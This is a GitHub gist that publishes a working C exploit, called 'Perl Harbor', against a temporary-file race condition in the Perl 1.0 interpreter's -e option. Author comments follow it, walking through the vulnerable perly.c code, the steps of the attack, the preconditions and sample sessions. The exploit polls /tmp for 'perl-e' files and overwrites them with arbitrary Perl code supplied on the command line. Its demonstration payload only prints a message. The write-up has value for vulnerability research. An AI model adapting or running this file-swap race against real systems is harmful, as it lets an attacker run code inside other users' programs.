Skip to content

Instantly share code, notes, and snippets.

@Stagyrite
Last active June 25, 2024 11:13
Show Gist options
  • Save Stagyrite/2175863894712ae71c129f7012d34da3 to your computer and use it in GitHub Desktop.
Save Stagyrite/2175863894712ae71c129f7012d34da3 to your computer and use it in GitHub Desktop.
Perl Harbor: exploit against Perl Kit 1.0
/*
* Perl Harbor: exploit against Perl Kit 1.0
*
* gcc -o perl-harbor perl-harbor.c
* ./perl-harbor &
* Perl-1.0/perl -e 'print "hello, world\n";'
*
* Successful execution ends with printing "owned by stagyrite".
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <sys/stat.h>
#define PREFIX "perl-e"
char *perlcode = "print \"owned by stagyrite\n\";";
int done = 0;
int zero(const struct dirent **a, const struct dirent **b) {
return 0;
}
void swap(const char *fname) {
int out;
/* Open a file for writing. */
if ((out = open(fname, O_WRONLY | O_TRUNC, 0666)) == -1){
perror(fname);
exit(-1);
}
/* Swap a Perl program now. */
if (write(out, perlcode, strlen(perlcode)) == -1) {
perror(fname);
exit(-1);
}
close(out);
}
void do_exploit(const char *fname) {
struct stat stbuf;
/* Wait for it. */
do {
stat(fname, &stbuf);
} while (stbuf.st_size == 0);
swap(fname);
done = 1;
}
int exploit(const struct dirent *s) {
if (strncmp(PREFIX, s->d_name, strlen(PREFIX)) == 0) {
do_exploit(s->d_name);
}
return -1;
}
int main(int argc, char *argv[]) {
struct dirent **namelist;
if (argc > 1) {
/* Set a Perl code passed in as a command-line argument. */
perlcode = argv[1];
}
chdir("/tmp");
/* Actively wait for a temporary file to appear. */
while (!done) {
if (scandir("/tmp", &namelist, exploit, zero) == -1) {
perror("scandir()");
exit(-1);
}
}
exit(0);
return 0;
}
@Stagyrite
Copy link
Author

Stagyrite commented Mar 18, 2024

The Perl 1 interpreter is vulnerable to an attack that has to do with temporary files. Race conditions exist when a program is passed with 'e' command line option. Here's an example traditional Hello World program.

$ ./perl -e 'print "hello, world\n";'

This creates a file like /tmp/perl-eO3gdPn that can be overwritten by an external process with another program in Perl language. It can for example print "owned by stagyrite" instead of "hello, world". There is a proof-of-example exploit named Perl Harbor. Let's observe how to use it against a Perl 1 interpreter in a sample session.

$ ./perl -e 'print "hello, world\n";'
hello, world
$ ./perl-harbor.c &
[1] 2146125
$ ./perl -e 'print "hello, world\n";'
owned by stagyrite
[1]+  Done                    ./perl-harbor.c

As one can see, Perl 1 isn't secure when it comes to handling temporary files with its programs. Our exploit managed to overwrite the user input. It might require several retries before the exploit succeeds in infecting the temporary file. It's because Perl 1 might overwrite the exploit's file too in one of the lines in perly.c.

  switch_end:
    if (e_fp) {
        fclose(e_fp);
        argc++,argv--;
        argv[0] = e_tmpname;
    }

The exploit has to write the file after the 'fclose()' function is called. The code below comes from the perly.c file, and shows how Perl 1 starts writing a temporary file.

        case 'e':
            if (!e_fp) {
                e_tmpname = strcpy(safemalloc(sizeof(TMPPATH)),TMPPATH);
                mktemp(e_tmpname);
                e_fp = fopen(e_tmpname,"w");
            }
            if (argv[1])
                fputs(argv[1],e_fp);
            putc('\n', e_fp);
            argc--,argv++;
            break;

One might want to replace a call to function 'mktemp()' with 'mkstemp()' but that wouldn't fix this particular security issue at all.

@Stagyrite
Copy link
Author

Stagyrite commented Mar 26, 2024

There is a race condition when a user passes Perl code with the command line 'e' option. Here's a plan that Perl 1 implements:

  1. Create a temporary file prefixed with "perl-e" by calling a 'mktemp()' function.
  2. Write Perl 1 code passed as a program argument to the newly created file.
  3. Close the temporary file flushing the buffers.
  4. Proceed as if the temporary file would be passed to the Perl 1 interpreter.
    Suppose you want to print a 'hello, world' text with Perl 1.
$ ./perl -e 'print "hello, world\n";'

It would create a temporary file (e.g., /tmp/perl-emMuFDJ). That file is certain to contain the Perl code followed by a new line character. Then, the execution proceeds as if you execute:

$ ./perl /tmp/perl-emMuFDJ

The temporary file is deleted upon program termination. It should properly print the "hello, world" text. Let's take a closer look at the implementation in the perly.c file. I've inserted my code comments to make it easier to understand.

case 'e':
    if (!e_fp) {
		/* This pattern is '/tmp/perl-eXXXXXX'. */
        e_tmpname = strcpy(safemalloc(sizeof(TMPPATH)),TMPPATH);
		/* Create a temporary file prefixed with "perl-". */
        mktemp(e_tmpname);
		/* It would now open the temporary file for writing. */
        e_fp = fopen(e_tmpname,"w");
    }
    if (argv[1])
        fputs(argv[1],e_fp); /* Write a Perl code passed in a command-line argument. */
    putc('\n', e_fp); /* Add a new line to the Perl code. */
    argc--,argv++;
    break;

The two first points of the plan implemented are done by now. The Perl code is likely to reside in a buffer, and the temporary file is almost certain of size 0. The rest is done at the end of the switch().

switch_end:
  if (e_fp) {
      /* Close the temporary file. */
      fclose(e_fp);
	  /* Set a new program path. */
      argc++,argv--;
      argv[0] = e_tmpname;
  }

Perl 1 interpreter will now proceed as if the temporary file was passed in a command-line argument. The moment just after it calls 'fclose()' is when the race conditions occur. It can be exploited by writing a possibly malicious code in the already created temporary file. In our example, it's /tmp/perl-emMuFDJ. to be vulnerable, an attacker must have write access to that temporary file. There are several cases when it can be done:

  1. he uses the same user, as the 'perl' command executor,
  2. he's 'root' and executes 'chmod -t /tmp' first on modern operating systems,
  3. the /tmp directory otherwise allows this file operation.
    The exploit allows the attacker to run a possibly malicious Perl code. The Perl Harbor exploit swaps user programs with one printing 'owned by stagyrite'. Here are two real-world examples:
$ ./perl-harbor &
[1] 5406
$ ./perl -e 'print "hello, world\n";'
owned by stagyrite
$ ./perl-harbor &
[1] 5426
$ ./perl -e 'print "hello, world\n";'
$ ./perl -e 'print "hello, world\n";'
hello, world
[1]+  Fertig                  ./perl-harbor
$ ./perl-harbor &
[1] 5432
$ ./perl -e 'print "hello, world\n";'
$ ./perl -e 'print "hello, world\n";'
hello, world
[1]+  Fertig                  ./perl-harbor
$ ./perl-harbor &
[1] 5435
$ ./perl -e 'print "hello, world\n";'
owned by stagyrite

Here's a plan implemented:

  1. Change the working directory to /tmp where Perl 1 temporary files reside.
  2. Loop until any function confirms that the system has been just exploited.
  3. Scan the /tmp directory for files starting with 'perl-e'.
  4. Wait until the Perl program is written by the 'perl' process. It's done by repetitively getting a file status. A single call to the 'stat()' function should be enough.
  5. Open the Perl program for writing, truncate it and write another Perl code. The other Perl code prints 'owned by stagyrite', although it could be anything that compiles.
  6. Perl Harbor now exists leaving.

Exploitation is successful when Perl 1 doesn't manage to execute its code before it gets swapped with the infected one. It can be unsuccessful if Perl Harbor swaps the file too early or too late. Thus, there are 4 possible endings:

  1. The exploit doesn't detect any temporary file.
  2. The file will be truncated, and therefore won't compile.
  3. The file will be original, and therefore exploitation is unsuccessful.
  4. This file will be swapped, and therefore exploitation is successful.

You can get the complete exploit in C programming language from GitHub.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment